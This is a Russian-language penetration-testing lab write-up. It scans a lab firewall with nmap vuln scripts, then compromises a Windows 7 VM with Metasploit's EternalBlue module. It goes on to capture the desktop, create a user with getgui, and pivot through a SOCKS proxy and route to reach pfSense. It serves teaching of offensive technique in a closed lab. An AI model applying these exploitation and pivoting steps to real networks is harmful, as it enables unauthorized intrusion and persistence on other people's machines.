# Pentest_3. Эксплутация уязвимостей. MetaSploit Framework --- Практика 3: создание топологии в Eve-NG, состоящей из машин под управлением Kali-Linux (Debian), Windows 7 (имеющей уязвимости)и Windows 10. Использование MetaSploit для взлома Windows PC --- ## 1. Общая информация Необходимая топология состоит из Internet-ноды, подключенному к нему фаерволу pfSense, свичу, подключенных к нему Win7, Win10 и Debian машин, а также Kali Linux на внешнем периметре. ![](https://i.imgur.com/gR41sB7.png) Для дальнейшей работы необходимо настроить pfSense (проброс портов до Windows 7). На веб-интерфейсе фаервола в разделе Firewall --> NAT --> Port Forward создаем два правила: * NAT IP: 192.168.1.102 (адрес Win7), Dest. Port: 4445, NAT Port: 445 * NAT IP: 192.168.1.102 (адрес Win7), Dest. Port: 3389, NAT Port: 3389 Также можно создать правило для ICMP трафика (для пингов), но это не необходимо. ![](https://i.imgur.com/GYWSR7x.png) >правила в pfSense Просканируем открытые порты нашего фаервола для получения информации об атакумой машине. Для этого на внешнем Kali Linux запускаем nmap:``` sudo nmap -A -sV --script=*vuln* 192.168.217.136 ```, где 192.168.217.136 - адрес pfSense. Используемые флаги: * -A - Активация функции определения ОС и версии, сканирования с использованием скриптов и трассировку * -sV - Исследование открытых портов для определения информации о службе/версии * --script=*vuln* - Использование встроенного скрипта vuln для определения уязвимостей ``` Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-29 17:26 MSK Nmap scan report for 192.168.217.136 Host is up (0.0049s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 443/tcp open ssl/http nginx 3389/tcp open ssl/ms-wbt-server? | rdp-vuln-ms12-020: | VULNERABLE: | MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability | State: VULNERABLE | IDs: CVE:CVE-2012-0152 | Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P) | Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service. | | Disclosure date: 2012-03-13 | References: | http://technet.microsoft.com/en-us/security/bulletin/ms12-020 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152 | | MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability | State: VULNERABLE | IDs: CVE:CVE-2012-0002 | Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C) | Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system. | | Disclosure date: 2012-03-13 | References: | http://technet.microsoft.com/en-us/security/bulletin/ms12-020 |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002 4445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) Service Info: Host: PC; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 49.44 second ``` Nmap нашел следующие уязвимости через порт 3389: * CVE-2012-0152 - MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability * CVE-2012-0002 - MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability Порт 4445 позволил определить атакумую ОС. Запускаем MetaSploit Framework при помощи ```msfconsole```. MetaSploit - программное обеспечение, включаеющее в себя уязвимости для различных ОС, а также различные способы их доставки и применения. С помощью ```show exploits/windows/``` можно посмотреть различные эксплоиты для Windows. ![](https://i.imgur.com/VUpmHin.png) >есть уязвимости даже для баз данных Попробуем атаковать Win7 машину при помощи уязвимости ms17-010, также известную как EternalBlue. Описание с сайта [threats.kaspersky.com](https://threats.kaspersky.com/ru/threat/Intrusion.Win.MS17-010.*/#:~:text=*,-%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F%20%D0%A3%D0%B3%D1%80%D0%BE%D0%B7%D1%8B%20Intrusion&text=%D0%9B%D0%BE%D0%B3%D0%B8%D0%BA%D0%B0%20Intrusion%2D%D0%B0%D1%82%D0%B0%D0%BA%20%D0%B7%D0%B0%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D0%B5%D1%82%D1%81%D1%8F%20%D0%B2,%D0%B8%20%D1%80%D0%B5%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8%20%D0%BD%D0%B5%D1%81%D0%B0%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B9%20%D1%81%D0%B5%D1%82%D0%B5%D0%B2%D0%BE%D0%B9%20%D0%B0%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D0%BE%D1%81%D1%82%D0%B8.): > Server Message Block (SMB) – это сетевой протокол прикладного уровня, работающий через TCP-порты 139 и 445, которые широко используются для предоставления общего доступа к файлам и принтерам, а также для удаленного доступа к службам. Атака Intrusion.Win.MS17-010.* нацелена на компьютеры под управлением Windows и реализуется в попытке эксплуатировать уязвимости протокола SMB, которые были закрыты в бюллетене Microsoft Security Bulletin MS17-010 (https://technet.microsoft.com/en-us/library/security/ms17-010.aspx). Результатом успешной эксплуатации этих уязвимостей может стать удаленное выполнение кода на атакуемых компьютерах, что позволит злоумышленнику загрузить вредоносную программу и распространить ее на другие уязвимые узлы в сети. Успешно реализованная атака позволяет злоумышленнику удаленно выполнить код на атакуемых компьютерах, загрузить вредоносную программу и распространить ее на другие уязвимые узлы в сети. Эксплойты, нацеленные на уязвимости, закрытые в MS17-010, были использованы в атаках вирусов-вымогателей WannaCry и ExPetr. Выполняем поиск при помощи ``` search eternalblue ``` и выбираем эксплойт. ![](https://i.imgur.com/ldiCbdm.png) Для дальнейшей работы необходимо настроить параметры эксплойта. Их можно посмотреть с помощью ``` show options ```. Явно необходимыми являются только адрес и порт атакуемого узла, остальные параметры, такие как имя и пароль учетной записи, не обязательны. Настраиваем параметры при помощи ``` set rhost 192.168.217.136 ``` и ``` set rport 4445 ```. ![](https://i.imgur.com/i4ersmR.png) Чтобы исполнить уязвимость, необходимо использовать ```run```. После этого MetaSploit "доставит" скрипт до атакуемого хоста и исполнит его. Если операция прошла успешно, скрипт выведет на экран "WIN" и MetaSploit позволит работать с машиной удаленно. ![](https://i.imgur.com/1CGgKkx.jpg) >процесс отправки и применения скрипта Попробуем получить скриншот рабочего стола при помощи команды ```screenshare```. Откроется окно браузера с трансляцией рабочего стола взломанного ПК: ![](https://i.imgur.com/9OcQ6rS.png) >рабочий стол Создать нового пользователя можно при помощи ```run getgui -u username -p pass```. По какой-то причине, MetaSploit выкидывает ошибки при исполнении операции, однако по факту пользователь уже создан. ![](https://i.imgur.com/6UgK5mz.png) >создание пользователя с "ошибкой" ![](https://i.imgur.com/BxmjRXe.png) >однако пользователь по факту уже есть Далее будем делать проксирование при помощи MetaSploit. Задача заключается в перенаправлении трафика с атакованной машины на нашу Kali-Linux с целью дальнейшего исследования внутренней сети. В нашем случае попробуем получить доступ с Kali к pfSense. Так как в настройках pfSense активно правило подключения к фаерволу через HTTPS, Kali и так имеет к нему доступ - деактивируем правило. ![](https://i.imgur.com/g4vRGAu.png) >деактивируем правило доступа к pfSense через HTTPS ![](https://i.imgur.com/xTgI2kg.png) >убеждаемся, что Kali не имеет доступа к фаерволу Для проксирования трафика используем протокол SOCKS5 (сетевой протокол сеансового уровня модели OSI, который позволяет пересылать пакеты от клиента к серверу через прокси-сервер). SOCKS есть в MetaSploit, настроим его таким образом, чтобы IP используемого сервера совпадал с локальным адресом (127.0.0.1) и запустим, чтобы процесс работал в фоне. ![](https://i.imgur.com/aymxHq4.png) >SOCKS-сервер работает в фоновом режиме Далее переходим к сессии с взломанным хостом и смотрим его интернет-соединения с помощью команды ```netstat```. Убеждаемся, что машина подключена ко внутреннему серверу с адресом ```192.168.217.136```, который и является pfSense. ![](https://i.imgur.com/bPfJNTo.png) >в списке подключений есть psSense Добавим перенаправление трафика с помощью ```route add 192.168.217.0 255.255.255.0 1```. Благодаря созданному маршруту, любые пакеты из подсети 192.168.217 первой сесси (взломанный хост) будут направляться на наш SOCKS-сервер. ![](https://i.imgur.com/RrhJ3Hh.png) >создание маршрута Последнее, что необходимо сделать - настроить Firefox для работы с нашим прокси-сервером. Для этого в настройках прописываем необходимый конфиг. ![](https://i.imgur.com/ADDKTK4.png) Пробуем подключиться к pfSense - вуаля! Доступ получен при помощи проксирования трафика взломанного хоста. ![](https://i.imgur.com/JTKfV08.png)